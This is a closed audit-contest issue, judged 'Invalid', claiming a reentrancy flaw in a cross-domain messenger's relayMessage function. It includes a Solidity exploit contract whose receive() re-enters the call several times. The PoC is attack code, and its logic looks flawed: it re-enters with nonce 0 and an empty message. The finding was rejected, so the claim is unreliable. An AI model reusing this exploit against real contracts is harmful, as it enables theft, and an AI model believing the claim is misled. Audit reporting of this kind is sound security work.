sherlock-audit / 2024-08-tokamak-network-judging

1 stars 0 forks source link

Demhack - Attacker will exploit reentrancy vulnerability to relay messages multiple times #79

Closed sherlock-admin4 closed 3 weeks ago

sherlock-admin4 commented 3 weeks ago

Demhack

Invalid

Attacker will exploit reentrancy vulnerability to relay messages multiple times

Summary

A reentrancy vulnerability will cause multiple message relays for the protocol as the attacker will re-enter the relayMessage function before the successfulMessages flag is set, allowing the same message to be processed repeatedly.

Root Cause

In src/universal/CrossDomainMessenger.sol:286, the function does not follow the Checks-Effects-Interactions (CEI) pattern. The external call (SafeCall.call) is made before updating the successfulMessages mapping, allowing a reentrant call to replay the same message before marking it as processed.

Internal pre-conditions

  1. The attacker needs to trigger a cross-chain message relay with a contract that can re-enter the relayMessage function.
  2. The target contract must be able to call back into the CrossDomainMessenger contract during the relay process.

External pre-conditions

  1. The attacker must be able to send a cross-chain message that triggers relayMessage().

Attack Path

  1. Attacker sends a crafted message to the CrossDomainMessenger.
  2. The external contract SafeCall.call() is executed without marking the message as processed in successfulMessages.
  3. The attacker re-enters the relayMessage function during the external call, triggering the same message relay multiple times.
  4. The successfulMessages flag is only set after all calls are made, allowing multiple relays.

Impact

The protocol suffers from multiple message relays, potentially leading to multiple unauthorized actions or fund transfers. The attacker gains the ability to relay the same message multiple times without proper validation.

PoC

// SPDX-License-Identifier: MIT pragma solidity ^0.8.0;

interface ICrossDomainMessenger { function relayMessage( uint256 _nonce, address _sender, address _target, uint256 _value, uint256 _minGasLimit, bytes calldata _message ) external payable; }

contract ReentrancyExploit { ICrossDomainMessenger public crossDomainMessenger; bool public shouldReenter; uint256 public reentryCount; uint256 public maxReentryCount;

constructor(address _crossDomainMessenger) {
    crossDomainMessenger = ICrossDomainMessenger(_crossDomainMessenger);
    reentryCount = 0;
    shouldReenter = true;
    maxReentryCount = 3;  // Set max re-entry attempts
}

// Attack function to trigger reentrancy on relayMessage
function executeExploit(
    uint256 nonce,
    address target,
    uint256 value,
    uint256 minGasLimit,
    bytes calldata message
) external {
    // Call relayMessage and initiate the reentrancy
    crossDomainMessenger.relayMessage{value: 0}(
        nonce,
        address(this),  // The attacker contract as the sender
        target,         // Target contract to exploit
        value,          // The value to send
        minGasLimit,    // Minimum gas limit
        message         // Custom message data
    );
}

// This function will be called by the CrossDomainMessenger during relay
receive() external payable {
    if (shouldReenter && reentryCount < maxReentryCount) {
        reentryCount += 1;
        // Re-enter relayMessage to exploit the reentrancy vulnerability
        crossDomainMessenger.relayMessage{value: 0}(
            0,              // Nonce value
            address(this),  // The attacker contract as the sender
            msg.sender,     // Target to relay message back
            msg.value,      // The value to send
            100000,         // Arbitrary minGasLimit
            ""              // Empty message for re-entrance
        );
    } else {
        shouldReenter = false;
    }
}

}

Mitigation

No response